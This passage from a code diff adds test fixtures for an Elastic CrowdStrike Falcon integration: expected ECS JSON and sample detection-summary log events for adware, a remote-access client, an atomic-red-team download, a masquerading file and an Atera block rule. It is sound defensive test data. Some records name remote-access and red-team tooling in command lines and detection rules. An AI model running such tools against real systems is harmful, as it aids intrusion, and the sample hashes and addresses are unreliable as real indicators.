"name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.112" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "PUP" + ] + } + }, + "user": { + "name": "ELASTICUSER" + } + }, + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", + "HostGroups": [ + "hostgroupsID" + ], + "IOCType": "hash_sha256", + "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "MACAddress": "1c-2d-b3-4a-56-7e", + "MitreAttack": [ + { + "PatternID": "5728", + "Tactic": "Malware", + "Technique": "PUP" + } + ], + "NetworkAccesses": [ + { + "AccessTimestamp": 1686845157, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.1", + "LocalPort": 53517, + "Protocol": "TCP", + "RemoteAddress": "67.43.156.1", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1686845158, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.2", + "LocalPort": 53518, + "Protocol": "TCP", + "RemoteAddress": "67.43.156.1", + "RemotePort": 80 + } + ], + "Objective": "Falcon Detection Method", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2304, + "PatternId": "5728", + "SensorId": "sensorid123", + "Severity": 2, + "SeverityName": "Low" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "DetectionSummaryEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 1,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1686845212400,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 123123,\n \"ParentProcessId\": 321321,\n \"ComputerName\": \"ELASTICHOST\",\n \"UserName\": \"ELASTICUSER\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"TESTFILE.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n \"MachineDomain\": \"INTERNAL\",\n \"NetworkAccesses\": [\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845157,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.1\",\n \"LocalPort\": 53517,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 443,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n },\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845158,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.2\",\n \"LocalPort\": 53518,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 80,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n \"SensorId\": \"sensorid123\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"DetectId\": \"detect::id::test\",\n \"LocalIP\": \"89.160.20.112\",\n \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"PUP\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false,\n \"HandleOperationDowngraded\": false,\n \"KillActionFailed\": false,\n \"BlockingUnsupportedOrDisabled\": false,\n \"SuspendProcess\": false,\n \"SuspendParent\": false\n },\n \"ParentImageFileName\": \"\",\n \"ParentCommandLine\": \"\",\n \"GrandparentImageFileName\": \"\",\n \"GrandparentCommandLine\": \"\",\n \"HostGroups\": \"hostgroupsID\",\n \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n \"PatternId\": 5728,\n \"MitreAttack\": [\n {\n \"Tactic\": \"Malware\",\n \"Technique\": \"PUP\",\n \"PatternID\": 5728\n }\n ]\n }\n}", + "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "49f30e09200e7b59edc5ef32fbd0442c", + "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", + "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2" + }, + "name": "TESTFILE.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE" + }, + "host": { + "domain": "INTERNAL", + "name": "ELASTICHOST" + }, + "message": "This file is classified as Adware/PUP based on its SHA256 hash.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", + "-Embedding" + ], + "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", + "entity_id": "123123", + "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", + "name": "TESTFILE.exe", + "parent": { + "entity_id": "321321", + "pid": 321321 + }, + "pid": 123123, + "start": "2023-06-15T16:06:52.400Z" + }, + "related": { + "hash": [ + "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", + "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "49f30e09200e7b59edc5ef32fbd0442c" + ], + "hosts": [ + "ELASTICHOST" + ], + "ip": [ + "89.160.20.112" + ], + "user": [ + "ELASTICUSER" + ] + }, + "rule": { + "description": "This file is classified as Adware/PUP based on its SHA256 hash.", + "id": "detect::id::test", + "name": "NGAV" + }, + "source": { + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.112" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "PUP" + ] + } + }, + "user": { + "name": "ELASTICUSER" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log new file mode 100644 index 0000000000..f73d00f9fc --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log @@ -0,0 +1,16 @@ +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}} +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}} +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}} +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}} +{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}} +{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}} +{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on 